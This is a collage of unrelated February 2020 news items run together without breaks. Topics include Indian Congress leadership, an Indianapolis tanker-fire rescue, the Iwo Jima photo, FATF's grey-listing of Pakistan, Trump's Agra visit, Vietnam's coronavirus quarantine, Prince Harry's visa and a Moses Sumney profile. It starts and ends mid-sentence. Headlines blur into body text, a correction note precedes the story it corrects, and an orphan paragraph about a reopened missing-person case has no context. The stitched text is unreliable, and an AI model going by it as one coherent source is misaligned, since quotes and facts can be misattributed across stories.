hosted by NBC News, MSNBC and the Nevada Independent, and it will take place at the Paris Theater in Las Vegas. The debate will be broadcast live on NBC News, MSNBC and Universo (in Spanish). It will also be available via livestream on the websites of NBC News, MSNBC, Telemundo and the Nevada Independent. Will always be with you to fight injustice: Rahul Gandhi to media Why Congress will have to be content with Rahul Gandhi India oi-Vicky Nanjappa New Delhi, Feb 21: Amid concerns in the party over leadership issue and calls for elections to the top post, the Congress on Thursday said Rahul Gandhi was a clear successor for party president's post to his mother and incumbent Sonia Gandhi. Congress sources said Rahul was the only contender in the race for the president's post because the entire rank and file of the party want him to lead, hinting that elections in that case may not even be necessary. With differing voices emerging within the party over the leadership issue, a senior Congress leader claimed that Rahul has acceptability across the country and also the capability to lead the party. Congress leaders Sonia Gandhi, Rahul Gandhi to soon lose Indian Citizenship: Subramanian Swamy There is also speculation that Rahul may be elevated to the top post in the proposed plenary session of the Congress slated sometime in April. Sources in the party said that the session may be slated after the budget session of Parliament and a major section within the party wants Rahul to be installed as party president again. Congress leaders Sandeep Dikshit and Shashi Tharoor have made calls for fresh elections for the party's top post to infuse fresh vigour in the party. Asked about the remarks made by these leaders, Congress chief spokesperson Randeep Surjewala said the Congress working committee has decided on the Congress president. "If anyone has any doubts about this, he should kindly read the resolution of the CWC before giving any statements in public and they will gain some knowledge," he told reporters when asked about Tharoor. On Dikshit's statement, Surjewala said though he has not read it but if Dikshit and leaders like him work hard in their own parliamentary constituencies the Congress will surely emerge victorious. This is what happens if you elect an actor to become politician: Congress slam BJP's Sunny Deol "I have not seen Dikshit's remarks, but one must realise when the leaders contest themselves they should understand why they lost elections and how much votes they got.Instead of giving statements on social media and interviews in the media, if Sandeep Dikshit works hard in his own constituency and politically encash the work initiated during Sheila Dikshit's rule, the Congress will emerge victorious. It is my appeal to every leader like Dikshit that instead of giving knowledge to the entire country, they should first show the benefits of their own work done in their constituencies," he said. While Dikshit has demanded that there should be fresh elections to the top post in the Congress respecting Rahul's decision of resigning and not having a Gandhi as the next Congress president, his remark has been supported by Tharoor. "What Sandeep Dikshit said openly is what dozens of party leaders from across the country are saying privately, including many with responsible positions in the party. I renew my appeal to CWC to hold leadership elections to energise workers and inspire voters," he said. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 11:14 [IST] Corrections & Clarifications: A previous version of this story misstated the day McNally gave birth. She gave birth early Monday. INDIANAPOLIS Holly McNally and her mother were on the way home from the NICU Thursday afternoon when McNally said she spotted a man running on the exit ramp to I-70. The man was on fire. I guess mom- and gut-instinct, she said. If that were my child or my husband or my family member, I would want somebody to run up if they could. She got out of the car, hopped over a guardrail and began running toward him. McNally gave birth just five days ago. Her water broke at 1 a.m. Monday. But her baby boy was moving so quickly, she said, that he beat doctors into the room the 35-year-old practically delivered him on her own after laboring for only 26 minutes. The birth was hard on him, so hes spent his first few days in the neonatal intensive care unit, where doctors can watch over him. McNally has split her time between the hospital and her far-eastside home. Shortly before 2 p.m. Thursday, a tanker carrying 4,000 gallons of fuel rolled over and caught fire on the ramp from I-465 southbound to I-70 eastbound, causing severe, catastrophic damage to the surrounding area, according to Indianapolis Fire Department Battalion Chief Rita Reith. The fuel spilled across the bridge and into the grass, carving a 500-foot path of destruction. The 59-year-old driver was able to get out of the truck on his own. That's when McNally saw him. As she was running toward the ramp, McNally encountered another man, who was running with a blanket to help extinguish the flames and cover the man. When they got to the driver, McNally could see he was severely burned. His clothes had burned away. They covered him and began walking him away from the fire when the first explosion happened. We started to go down the embankment a little bit, and I could smell the fluid running past my feet, McNally said. She asked the man what hed been hauling: jet fuel. I was like, You guys, we have got to get out of here. Story continues She didnt want to act selfishly, she said, but she couldnt stop thinking of her newborn. Im thinking Im gonna blow up in an explosion, she said, and not see my baby again. A second explosion caused the fire to spread, following them down the embankment. The driver, who appeared to be in shock, began to slow down. McNally was worried they would have to carry him, and she might not be strong enough. Thankfully, another man ran to the embankment and helped move the driver to safety. "Without question, those good Samaritans saved this driver's life," Indiana State Police Sgt. John Perrine said. Indiana State Police Trooper Chris Hanson drove down the embankment to meet them. Reith said Hanson used clothing from his own gym bag to cover the man until emergency medical technicians arrived. The driver was taken to an area hospital in critical condition, Reith said. The tanker was practically obliterated by the fire and explosions, and the bridge is being inspected for significant damage. The incident remains under investigation, although preliminary information released by Indiana State Police indicates speed may have been a factor in the roll-over. The ramp from I-465 southbound to I-70 eastbound is pictured Thursday afternoon after a tanker truck carrying about 4,000 gallons of jet fuel overturned and exploded, closing lanes for hours. None of the good Samaritans who came to the drivers aid were injured. Despite the risk, McNally said: I just couldnt leave somebody like that. But shell get to see her baby again. And by 6 p.m. Thursday, she still hadnt talked to her older children, ages 8, 11 and 15, to tell them about the adventure she had this afternoon. McNally hopes to stay in touch with the driver. She wants updates as he recovers. Although shes not particularly religious, McNally said she feels as if the timing of everything from reaching him on the ramp to the getting him in the state troopers car couldnt have been better. Somebody was watching out for all of us. IndyStar reporter Amelia Pak-Harvey contributed to this article. Follow Holly Hays on Twitter: @hollyvhays. This article originally appeared on IndyStar: Fire in Indianapolis: Good Samaritans save semi driver after explosion This Sunday marks the 75th anniversary of what is arguably the most famous news photo of all time. The shot of U.S. Marines raising an American flag on the Japanese island of Iwo Jima, captured by Associated Press photographer Joe Rosenthal, has become a timeless symbol of valor and unity. Despite the photos renown, however, it has been dogged by a controversy over its authenticity. Shortly after the image appeared, some of Rosenthals rivals whispered that he had staged it. It was an ugly rumor, for it painted Rosenthal as a charlatan and his photowhich was published on the front page of countless American newspapers, as well as in the pages of that weeks issue of TIMEas nothing more than a hoax. Rosenthal himself had inadvertently fueled the suspicions, as he later recounted, but, a Marine videographer who stood alongside him as the flag went up captured footage that shows the flag-raising in real time. Although accusations that the photo was posed have persisted over the years, those claims are baseless. In another way, however, the Pulitzer Prize-winning picture was misleading. Rosenthals photo represented the climax of a long series of triumphant flag-raising images in American news coverage of the Pacific theater of World War II. At first, these images raised the home fronts hopes for a relatively speedy end to the war. But, not long after Rosenthals famous photo appearedroughly six months before the war in the Pacific would actually endthere were signs that such images were no longer having that effect. In fact, the government would soon be forced to correct the false impression that the visual coverage of the battles in the Pacific had conveyed. By 1944, American forces had driven the Japanese from several islands, and news reports from the theater had developed a predictable sequence. First, there would be images of preparations for the invasion (warplanes dropping bombs, ships approaching the island). Then, newspapers would publish photos of troops fighting their way past the beaches. Finally, the American triumph would be signaled by a photo of Old Glory raised in victory. Story continues Such flag-raising images routinely appeared in newspaper coverage of island battles such as Tarawa, Guam and Leyte. The newsreels that millions of American moviegoers watched each week also used footage of flag-raisings to punctuate their reports (for example, those depicting the U.S. capture of Peleliu and Kwajalein). The expectation of a triumphant flag planting was so well-ingrained by February 1945 that Dorman Smiths syndicated editorial cartoon, appearing in newspapers across the country just a few days before Rosenthals photograph, depicted a pair of hands jamming an American flag into a rock labeled Iwo Jima. This was a home front, in other words, that was quite used to images of flag-raisings. One might even say that the American people, rather than being shocked by Rosenthals image (as many writers have suggested), actually anticipated it. Get your history fix in one place: sign up for the weekly TIME History newsletter But the invasion of Iwo Jima had a special meaning for the American public. It was the first soil in the island-hopping campaign that was technically part of Japan. Although it was 700 miles from Tokyo and its small civilian population had been evacuated earlier in the war, the rocky island was administered as part of the Tokyo prefecture. This circumstance encouraged the press to say that the assault on Iwo Jima represented the beginning of the battle of Japanthe final battle of the war in the Pacific, the name implied. All of these factors contributed to the rapturous reception that greeted Rosenthals photographthe first flag-raising, as far as the home front was concerned, on Japanese soil. No wonder, then, that the photo appeared so widely and so prominently. It was hailed by military leaders and members of Congress. The Treasury Department quickly adapted the image to serve as the symbol for a massive war-bond campaign. The final victory over Japan must have seemed to be closer than ever. However, the Battle of Iwo Jima itself was not even over. It raged on for another month after the flag-raising, through late March, and three of the men in Rosenthals photo died in the fighting (as did the Marine who shot the video of the flag-raising). Then came the dispiriting Battle of Okinawa, which lasted nearly three months and was one of the bloodiest of the Pacific warand all of that was just a prelude to the anticipated invasion of Japans main home islands, which promised to be far longer and deadlier. The home fronts hopeful expectations, raised so triumphantly (but also misleadingly) by the Iwo Jima photo, began to plummet in the face of the grinding continuation of warfare. U.S. officials soon realized they needed to tamp down expectations of an imminent victory. In May 1945, the Treasury Department released a propaganda film, My Japan, in which an announcer with a faux Japanese accent taunted Americans, saying that Iwo Jima was simply a minor island outpost and boasting, You have not yet faced the best of our armies. You have faced only 10% of our worst. Our first-line fighters, millions of them, wait for you on battlegrounds of our own choosing. The Treasury gave its war bond salespeople a similar script. It suggested they say Iwo Jima was merely an outpost, and that as far as Japan is concerned, the outer Empireand the men who defend itare expendables. Of course, the planned invasion of the inner Empire (the Japanese homeland) never happened, because Japan surrendered after the U.S. attacked Hiroshima and Nagasaki with atomic bombs in early August. Although subsequent generations have questioned the necessity and morality of those bombings, the American public at the time overwhelmingly supported the decision85% approved and 10% disapproved, according to a Gallup poll. Its impossible to know whether Rosenthals Iwo Jima photo contributed to that public support for the A-bomb. But after seeing that picture, some Americans surely believed that victory was imminent, and they must have been deeply disillusioned when they realized it wasnt soand thus perhaps more likely to support any measure that might render unnecessary a full-scale invasion of Japan. Over the last 75 years, the photos stature has continued to grow. But it has also become decontextualized. It has morphed into an all-purpose symbol of American military heroism, losing its original association with an overly optimistic narrative about the end of the war in the Pacific. And maybe that is as it should bethe photo does accurately convey the bravery and sense of purpose of the flag-raisers. However, it is worth remembering that in times of war, the government and the news media often craft narratives that serve their purposes: the government wants to gain support for its policies, and media outlets want to satisfy their audiences desires. Joe Rosenthals flag-raising photo is a prime example of how even accurate reporting and legitimate feats of heroism can contribute to misleading narratives. Historians perspectives on how the past informs the present Matthew Pressman is an assistant professor of journalism at Seton Hall University; James J. Kimble is a professor of communication at Seton Hall University. Patna: Union minister Giriraj Singh on Friday stoked a fresh controversy with his statement that the country is paying the price for not sending all Muslims to Pakistan and bringing Hindus at the time of independence. He gave the statement while leading a campaign in support of CAA, NPR and NRC in Bihars Purnea which has a sizeable Muslim population. Our forefathers made a mistake by not sending our Muslim brothers to Pakistan and bringing Hindus at the time of Independence. The whole country is paying the price today for the mistake they committed, Union minister Giriraj Singh said. With Assembly elections in the state slated to be held in November, political temperature has been high since the Citizenship Amendment Act came into force. The state has been witnessing massive anti-CAA protests in several districts including Patna, Begusarai and Gaya. While CPI leader and former JNUSU president Kanhaiya Kumar has been leading anti-CAA campaign through his statewide Jan Gan Man Yatra, BJPs firebrand leader Giriraj Singh is trying to reach out to the masses in support of the CAA. Targeting the Opposition RJD-Congress combine during the occasion, he said that all these political forces including the tukde tukde gang want to convert India into Pakistan. Sources said that BJP allies in Bihar have been miffed over some of Giriraj Singhs remarks including the one in which he was heard saying that Deoband is Gangotri of terrorism. The JD(U) insiders in Patna told this newspaper that the party has already asked the BJP leadership to take cognizance of his remark which is making NDA partners uncomfortable in Bihar. LJP Chief Chirag Paswan, who launched a statewide Bihar First Bihari First tour on Friday, also expressed strong disapproval on Singhs statement and said that NDA in the Delhi polls suffered due to divisive remarks made by BJP leaders. The population of Illinois is going down. The state will lose at least one seat in the U.S. House of Representatives following the 2020 census. These things we know for certain. What we dont know is how state leaders will use the new census numbers to slice the state into congressional and Illinois legislative districts. Under the current process, that responsibility falls to the legislature. If the past is any indication, it wont be pretty. Over the years, there are numerous examples across the state of gerrymandered districts that didnt even attempt to hide the mapmakers contempt for the requirement that they be compact, contiguous and substantially equal in population. Take 2001, as an example, when Macon County was divided among three congressional districts. Mount Zion and the Democrat-leaning heart of Decatur were creatively linked by Interstate 72 to a group of counties along the Mississippi River to be represent by incumbent U.S. Rep. Lane Evans, a Democrat from Rock Island. Party, not population, was king. Do we expect anything different? This is Illinois after all. Probably not. But that shouldnt stop us from trying to bring about change. Last month, a bipartisan coalition of state lawmakers and advocacy groups announced plans to push, yet again, for a Fair Maps Amendment. The proposals are House Joint Resolution Constitutional Amendment 41 and, when it is officially introduced Tuesday, Senate Joint Resolution Constitutional Amendment 18. As a sprawling federal corruption investigation continues, we should start to end corruption by ending gerrymandering where it begins when maps are drawn, said Madeleine Doubek, the groups executive director. Politicians picking their voters clearly is the epitome of a conflict of interest. Under the coalitions proposal, 17 commission members would be appointed by the Illinois Supreme Court seven registered Democrats, seven registered Republicans and three with different or no party affiliation. Each congressional district can have only one commissioner. The amendment is backed by the same group that attempted to reform the redistricting process in the past three elections, CHANGE Illinois the Coalition for Honest and New Government Ethics. For the measure to be placed on the ballot, both chambers need to approve a constitutional amendment by a three-fifths majority. The deadline for passing the measure to get it on the November ballot is May 3. Our chances are better than they have ever been, Doubek said. Theres been a lot of talk in Springfield over the years about putting the needs of the state and its people ahead of politics. On this issue, its time for talk to finally give way to action. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Hollywood star John Krasinski has responded to a critic who panned his otherwise unanimously acclaimed 2018 horror drama "A Quiet Place". The actor, who also directed the project and is returning behind the camera for the sequel, said he did not agree with Richard Brody of The New Yorker that the film was about a white family protecting their home with guns from a bunch of predatory creatures. Krasinski said if there was any metaphor, it had to do with parenthood. "I never saw it that way or ever thought of it until it was presented to me in that way. It wasn't about being, you know, silent and political time that had nothing to do with that. If anything it was about, you know, going into the dark and, and taking a chance when all hope looked lost, you take, you know, you fight for what's most important to you. Again, my whole metaphor was solely about parenthood," the actor told Esquire while talking about Brody's criticism. The actor-director said "A Quiet Place" was "about parenthood and the promise that you make to your kids that I'll keep you safe no matter what that's, that's inevitably a false promise." "The second one is about that promise being broken and it's about growing up and it's about moving on and dealing with loss. For me this whole movie becomes about community. It's about who do you trust in dark times and the power of relying on other people in dark times." Exclusively distributed in India by Viacom18 Studios, the Paramount Pictures movie is slated to hit the screens on March 20. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The case was reopened and a previously unreported missing person, who was known to be in our area due to police contact, developed as a possible identification for the deceased, Hall said. Through this, it was confirmed that the missing person had not been seen by family since 2016. Kendrick Brothers reveal next movie project is based on true story Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment HOLLYWOOD Award-winning filmmaker and actor Alex Kendrick attended the 28th annual Movieguide Awards where he revealed the plans for the next Kendrick Brothers film. "We are shooting a movie this summer, Kendrick told The Christian Post in an interview last month at the popular award show that honors faith and family content. We're very excited about that and it's a true story and it's going to grab your heart. We love it! he exclaimed. The popular Christian actor said he and his brother, Stephen, who's also his producing partner, love the subject matter and what's going to happen as a result of it. We think it's a very timely movie, he assured. Kendrick said he expects the film to be released in 2021. The brothers are used to making original content such as their No. 1 box-office hit War Room, but their next film was actually brought to them by a friend. "We normally do write our own movies but this one was so powerful when we read it and we saw how it was very timely for today's culture, Kendrick told CP. As we began researching a way to shoot it, it became very obvious the Lord was opening the door to do it, he said. The brothers' last movie, Overcomer, was digitally released on Nov. 26, 2019, on Blu-ray and DVD. It starred Alex Kendrick, Priscilla Shirer, Shari Rigby, Cameron Arnett and newcomer Aryn Wright-Thompson. The movie is centered around themes of identity, forgiveness, and restoration, and Kendrick said the topics are resonating with people all over the world. The Blu-ray, DVD and the digital release of Overcomer features extensive bonus material, including 10 minutes of deleted scenes, fun bloopers, exclusive commentary by the Kendrick Brothers, and a moving in-depth look at the power of forgiveness. "We love the special features, the behind the scenes and how we made it, and we think that is almost as fun as watching the movie," Kendrick told CP. The Movieguide Awards will be broadcast on the Hallmark Channel on Feb. 24. Uniqlo to open first Hanoi store early next month The facade of a Uniqlo store in Saigon's District 1. Photo by VnExpress/Hoang Huy. Japanese fashion retailer Uniqlo just announced it would open its first Hanoi store in early March and expects to launch three more by the year-end. The first Hanoi store will be located at Vincom Center Pham Ngoc Thach in Dong Da District and will be the biggest in Southeast Asia, Koyama Noriaki, vice president of Uniqlo, told a meeting with City Chairman Nguyen Duc Chung on Thursday. The exact opening date has not been revealed. Amid the coronavirus outbreak, Uniqlo commits to ensuring a safe shopping environment for customers, providing masks and hand wash to shoppers. The move came only a few months after the brand's first outlet in the country, Uniqlo Dong Khoi in Ho Chi Minh Citys District 1, was opened last December. It attracted 2,000 people on its opening day, with customers queuing up since 4 a.m. to take advantage of exclusive discounts. Uniqlo to open first Hanoi store early next month Saigon shopaholics up at 3 a.m. for Uniqlo store opening (EDITED) The brand operated 213 stores in Southeast Asia as of last year and plans on 400 by 2022. Globally, it has over 2,200 stores in 24 countries and territories. According to German research firm Statista, Vietnam's fashion revenue will grow 22.5 percent a year in the 2017-2022 period, reaching $988 million yearly by 2022. Verizon has provided Google's own-brand phones through its stores since their first generation. However, the latest leak on this subject alleged that the carrier would not continue on with the Pixel 5. The company has refuted these claims, saying that it "looks forward" to the OEM's new devices. Working For Notebookcheck Are you a techie who knows how to write? Then join our Team! English native speakers welcome! News Writer (AUS/NZL based) - Details here The media outlet Android Police has been obliged to take a report that it published about Pixel devices at Verizon back. It originally stated that this US carrier had decided not to stock the successors to the current series on their release. However, the telecomms giant subsequently contradicted this claim, according to a representative of a different news site. The original report, had it stood, may have been discouraging for Google as a hardware manufacturer. The Pixels 4, at the least, have faced low popularity, mostly due to its starting price-point. Accordingly, the concept of Verizon dropping their next generation might have been a further blow for their maker, which only just got its phones on all 4 major carriers in the US last year. However, in any case, Verizon responded to the potential negative Google news by reaching out to Eric Zeman from Android Authority in order to deny the claims. Therefore, the Police blog conceded that the report was inaccurate, and had only been published due to information from a normally reliable source. Source: Xinhua| 2020-02-21 14:03:21|Editor: Xiaoxia Video Player Close UNITED NATIONS, Feb. 20 (Xinhua) -- A Chinese envoy on Thursday called on member states to actively join the UN Peacekeeping Capability Readiness System, pledging China's readiness to fulfill the promise of multilateralism and improving peacekeeping operations. "Fast deployment of peacekeeping operations can give peace more chance. China supports the implementation of the secretary-general's 'Action for Peacekeeping' initiative and calls on member states to actively join the UN Peacekeeping Capability Readiness System," Zhang Jun, China's permanent representative to the United Nations, told the side event on peacekeeping capacity building co-hosted by Indonesia, Morocco, Pakistan and China at the UN headquarters in New York. "The world is faced with more challenges and uncertainties. As such, people across countries have a stronger yearning for peace, higher hopes for the United Nations and greater expectations for the peacekeeping operations," he said. "At the same time, peacekeeping operations face a more complex and dangerous environment and challenges. Capacity building is the key to strengthening peacekeeping operations as it bears on the actual effect of peacekeeping operations and should therefore be given due attention by member states," he noted. As a permanent member of the UN Security Council, China is a major troop contributor and the second largest fund contributor to peacekeeping operations. It is both a staunch supporter for and important participant in the UN peacekeeping operations, said the envoy. Noting that China will hold a debate on "United Nations peacekeeping operations: Better capacity building, more safety and security" during its presidency of the Security Council in March, Zhang said that "China is ready to join hands with all peace-loving countries in continuing our contributions to fulfilling the promise of multilateralism and improving peacekeeping operations." Global terror financing watchdog Financial Action Task Force (FATF) on Friday decided continuation of Pakistan in the 'Grey List' and warned the country of stern action if it fails to check flow of money to terror groups like the Lashkar-e-Tayiba and the Jaish-e-Mohammed, sources said. The decision was taken at the FATF plenary in Paris. The FATF decided to continue Pakistan in the 'Grey List'. The FATF has also warned Pakistan that if it does not complete a full action plan by June, it could lead to consequences on its businesses, a source said. The plenary noted that Pakistan addressed only a few of the 27 tasks given to it in controlling funding to terror groups like LeT, JeM and Hizbul Mujahideen, which are responsible for a series of attacks in India. The FATF said Pakistan has to swiftly complete its full action plan by June, the source said. With Pakistan's continuation in the 'Grey List', it will be difficult for the country to get financial aid from the International Monetary Fund, the World Bank, the Asian Development Bank and the European Union, thus further enhancing problems for the nation which is in a precarious financial situation. If Pakistan fails to comply with the FATF directive, there is every possibility that the global body may put the country in the 'Black List' along with North Korea and Iran. India has been maintaining that Pakistan extends regular support to terror groups like the LeT, the JeM and the Hizbul Mujahideen, whose prime target is India, and has urged the FATF to take action against Islamabad. Pakistan is believed to have received strong backing from Malaysia but failed to impress western nations due to India's consistent efforts by providing materials and evidence on Pakistan's inaction to check funding to terror groups operating from its soil. Pakistan needed 12 votes out of 39 to exit the 'Grey List' and move to the 'White List'. To avoid the 'Black List', it needs the support of three countries. The 'Grey Listing' of Pakistan came three days after a sub-group of the FATF recommended continuation of the country in it. The FATF meeting, from February 16 to 21, was held a week after an anti-terrorism court in Pakistan sentenced Hafiz Saeed, the mastermind of the 2008 Mumbai attack and founder of the LeT, to 11 years in two terror financing cases. The Pakistani court's judgment came ostensibly to please the FATF and western countries so that the country can exit the 'Grey List'. Saeed, a UN designated terrorist on whom the US has placed a USD 10 million bounty, was arrested on July 17, 2019, in the terror financing cases. The 70-year-old fiery cleric is lodged at the high-security Kot Lakhpat jail in Pakistan. Pakistan has also recently informed the FATF that JeM founder Masood Azhar and his family are 'missing'. It has claimed that there were only 16 UN designated terrorists in Pakistan, of which 'seven are dead'. Out of the nine who are alive, seven had applied to the UN for exemption from financial and travel restrictions. In the last month's FATF meeting in Beijing, Pakistan got support of Malaysia and Turkey besides FATF current chair China. In the Beijing meeting, Pakistan provided a list of its action taken to comply with FATF directions. Pakistan was placed on the 'Grey List' by the FATF in June 2018 and was given a plan of action to complete by October 2019 or face the risk of being placed on the 'Black List'. The FATF is an inter-governmental body established in 1989 to combat money laundering, terrorist financing and other related threats to the integrity of the international financial system. It currently has 39 members, including two regional organisations the European Commission and the Gulf Cooperation Council. India is a member of the FATF consultations and its Asia Pacific Group. New Delhi: At least 3,000 artistes will present colourful cultural programmes to welcome US President Donald Trump in Agra. Uttar Pradesh Chief Minister Yogi Adityanath will personally receive the visiting US President. The programmes will include Ramlila, Raslila, Nautanki (drama) performances among others, said an IANS report. The Chief Minister`s Office is closely monitoring the preparations to receive the US president in the Taj city that has received an "unprecedented" face-lift in recent days. Trump is scheduled to reach Agra from Ahmedabad during his February 24-25 tour to India. Trump will reach Taj Mahal`s East Gate from the airport, covering a distance of 15 km. The artistes will present cultural programmes in around 12 places that fall between the airport and the East Gate of the Taj. According to sources, the Adityanath government is keen to showcase the art and culture of Braj, Bundelkhand, Purvanchal and Awadh regions. The artistes will enact the roles of Radha-Krishna and present other cultural performances. They will also perform the `Kala Alha` and `Nautanki` of Bundelkhand, and the Ramlila of Purvanchal. All the artistes from Uttar Pradesh will arrive in Agra on February 23, a day before Trump`s visit. Agra District Magistrate Prabhu N Singh told the media that 3,000 artistes will present cultural programmes to welcome Trump. Notably, the Taj Mahal will remain closed for the general public from 12 noon on February 24. Vasant Kumar Swarnkar, Superintendent Agra Division, Archaeological Survey of India (ASI) told ANI, "Due to security reasons, Taj Mahal will be closed for public from 12 noon on the day when US President Donald Trump visits the monument. President Trump will visit Taj Mahal on February 24." Superintendent of Police (City) Botre Rohan Pramod, had earlier said, "All the houses, shops, restaurants and hotels on the main route and near the Taj Mahal area have been identified. The verification process is about to finish. Some teams have also been put for getting the verification done." (With Agency Inputs) Even though the Financial Action Task Force (FATF) has agreed to give Pakistan time until October to fully implement the 27-point Action Plan, it is likely to stay on the FATF "grey list", according to sources. The global financial watchdog noted that since the Imran Khan-led government had shown compliance on 14 points, it agreed to give Pakistan more time until October 2020 to fully comply with the remaining 13 points, the sources added. The decision is likely to be announced on Friday after the FATF plenary, which is currently ongoing in the French capital of Paris. The key plenary session of the FATF began on February 16. More than 800 representatives from 205 countries and jurisdictions around the world, including the IMF, UN, World Bank, and other organisations, will be a part of the meet. Pakistan has so far successfully managed to avoid the blacklist due to diplomatic support from China, Turkey, Malaysia, Saudi Arabia and Middle Eastern countries. It now requires just three votes out of a total of 39 members of FATF forum to avoid falling into the blacklist. India's Army Chief General MM Naravane on Thursday (February 20) claimed that the pressure built by FATF on Pakistan is one of the factors behind the reduction of terrorism in the Kashmir Valley. "If the Financial Action Task Force (FATF) comes down heavily on them, they (Pakistan) may have to rethink on their rhetoric and activities. FATF is a factor in the reduction of terror activities in Kashmir Valley, General MM Naravane told reporters. Meanwhile, the country's intelligence agency Inter-Services Intelligence (ISI) has held a big meeting with commanders of terrorist group Jaish-e-Mohammad (JeM) in Rawalpindi on February 16. The Pakistan government has assured the JeM and other terrorist groups that it will gradually remove the restrictions against terrorist organizations. A medical staff checks body temperature of a woman among those returning to Vietnam from China at a quarantine zone in Lang Son Province near Vietnam-China border, February 7, 2020. Photo by VnExpress/Giang Huy. The Ministry of Health is dismayed that many Vietnamese returning from China have evaded the coronavirus quarantine protocol, and has called for tightening oversight. Some people returning home, both directly and transiting through other countries, have not been quarantined and monitored for the 14 days stipulated by the government to contain the spread of the novel coronavirus, the ministry said on Thursday. It asked police in all cities and provinces to make a list of all Vietnamese returning home in the past 14 days and furnish it to local medical authorities for proper quarantining. The government ordered on February 3 that everyone entering Vietnam from China must be quarantined for 14 days to prevent the spread of the Covid-19 respiratory disease caused by the new coronavirus. After starting in Chinas Wuhan City, the epidemic has now spread to 29 countries and territories. Vietnam has so far recorded 16 cases, and 14 of the patients have recovered and been discharged from hospitals. No new cases have been detected in the last seven days. The global death toll has climbed to 2,247 as of Friday morning, and there have been 76,735 cases of infection. Prince Harry and Meghan Markle have decided to step down as senior royal members of the monarchy last January and currently, they are in North America living a private life. The couple plans to raise their child away from the spotlight and become financially independent, which means they will not be using British taxpayers' money to fund their lifestyle. However, there has been a significant roadblock for Prince Harry: he will not be able to work in the U.S. without the correct visa. According to royal expert Ingrid Seward when she appeared at U.K. talkRADIO with host Mike Graham, the 35-year-old prince is yet to secure a green card that allows one to work in America. Seward also predicted that the couple would most likely opt to live on the west coast or east coast of the U.S., but she pointed out they still have to fix their issues with taxes and visas. "They will probably live in New York or California eventually, but then you have all the problems with the residence and the taxes," Seward said. Moving to America would also mean that Prince William's younger brother could potentially owe U.S. taxes to the Internal Revenue Services. When Graham asked and highlighted that Harry will not be exempted from taxes, the royal expert responded: "No. and because he doesn't have a green card, he is not allowed to work there." It is reported to be a controversial topic if a member of the royal family pays the U.S. tax authorities. However, it is worth noting that Harry is eligible to apply for a green card or residency visa because his wife is American. Under the current U.S. immigration laws, the Prince would need a green card to stay longer than three months permitted under the ESTA visa. Post-Royal Work The Duke and Duchess of Sussex attended a billionaires' summit in Miami recently. They have been reportedly paid to speak in front of an audience to the tune of $500,000 to $1 million. It seems like big companies are trying to book Prince Harry and Meghan Markle, and after March 31, they are free to do whatever they want to do because it will mark the start of their transition period. After the negotiations that followed after stepping down, the couple agreed to drop their HRH titles. According to the Daily Mail, Queen Elizabeth II also asked the couple to stop referring themselves as "royal" in their "Sussex Royal" branding. Before their bombshell announcement in January, the couple has already trademarked "Sussex Royal" to various uses, such as t-shirts, pencils and so much more. However, discussions about their branding are still ongoing. Page Six reported that as the two go into their next chapter, planning has been well underway around the launch of their new non-profit organization. "As the Duke and Duchess of Sussex are stepping back as senior members of the royal family and will work towards financial independence, use of the word 'Royal,' in this context, needs to be reviewed," says the royal source. Governor Douye Diri of Bayelsa State has promised useful programmes for the state to rekindle the hope of the people. News Agency of Nigeria (NAN) reports that Mr Diri was sworn in as the fifth governor on February 14 sequel to the February 13 Supreme Court judgment that sacked the erstwhile governor-elect David Lyon. Mr Diri made his administrations direction during a state-wide broadcast monitored by NAN in Yenagoa, the state capital. He said victory in a political contest is not an end in itself but as a means to foster peace, stability and development in all spheres. He emphasised the need to make life more meaningful by creating an enabling environment that would engender economic activities and provide employment opportunities for the teeming youths of the state. The governor acknowledged outstanding issues arising from the implementation of his predecessors policies and expressed his determination to accommodate fresh perspectives for the good of Bayelsa. We recognise that there are outstanding issues from the implementation of the Restoration agenda, of which I am a principal proponent and participant. As in every family, there will always be reasons to disagree. There may be those who feel that some things could have been done better or differently. As humans, we remain fallible. Let us put past grievances behind us. Let us appreciate that governance is a continuum and as the dynamics change, we will accommodate fresh perspectives. The important thing is to continue to find reason to agree and work together for the good of Bayelsa, Mr Diri said. Mr Diri said the time has come for all Bayelsa people to join hands with his administration to frontally address the myriad of challenges the people face, including poverty and ignorance. He said such setbacks did not discriminate on the basis of gender, political party, religion and age as no one was immune from their adverse impact. This is not the time to cloak ourselves in party colours. The work at hand is far too urgent and important for us to be so distracted. Our common challenges including poverty and ignorance, do not discriminate on the basis of gender, party, religion and age. No one can be immune from the adverse implications of their impact. Therefore, our response must be calculated, coherent and united. We extend a hand of fellowship to all stakeholders and progressive-minded individuals to join hands with us to consolidate the building of the Bayelsa of our dreams; a place we can all be proud to call home. We also send a strong message of solidarity to the people of Bayelsa in the Diaspora; the future is brighter, he said. Mr Diri expressed concern about the recent attack on the Justices of the Supreme Court, particularly the attack on Justice Mary Odili, in the discharge of their constitutional functions. Describing the attack as a desecration of a national institution, the governor saluted the courageous Supreme Court justices in their quest to uphold democratic principles. He also thanked President Muhammadu Buhari for not yielding to the pressure to interfere with the legal process as well as his legal team for putting up a sterling performance. (NAN) Thousands of victims of the 2011 Brisbane flood have learned a Queensland dam operator will appeal a court decision finding it partly responsible for water damage. A lawyer for Seqwater confirmed on Friday it would appeal the NSW Supreme Court finding that nearly 7000 flood victims were failed by engineers operating its Wivenhoe and Somerset dams. The dams weren't operated according to the rules, exacerbating downstream flooding when a deluge of "biblical" proportions fell after days of earlier rain, Justice Robert Beech-Jones found in November. More water should have been released earlier, he said. Moses Sumneys titties are bouncing a little too much for his liking. To be clear, his pecs, the sculpted result of months of dedicated exercise with a personal trainer and sticking to a strict ketogenic diet, are spectacular. Just, you know, a tad too expressive for this particular occasion. The 6-foot-4 singer is sloped over a MacBook Pro in the kitchen of his Asheville, North Carolina rental, reviewing an early cut of an upcoming lyric video. In the clip, its nighttime, and Moses is bare-chested and running vigorously in place, wearing a pair of cycling shorts with enough body-sculpting compression to make Kim Kardashian proud. He stares at the screen. Maybe the titties are actually OK, he concedes, with a giggle. When Moses Sumney laughs, it feels like the entire room expands, rearranging itself to make space. Aside from a pair of plush slippers the color of a graham cracker, Moses is wearing, as he interminably does, only black: a black T-shirt with gaping voids where there should be sleeves; a black kimono-style wrap; black tapered sweatpants that, even with a tiny hole in the knee, look impossibly chic. On two shoe racks by the front door I count 15 pairs of black boots, along with half a dozen other black non-boot options. Its a couple of weeks before the release of the first half of 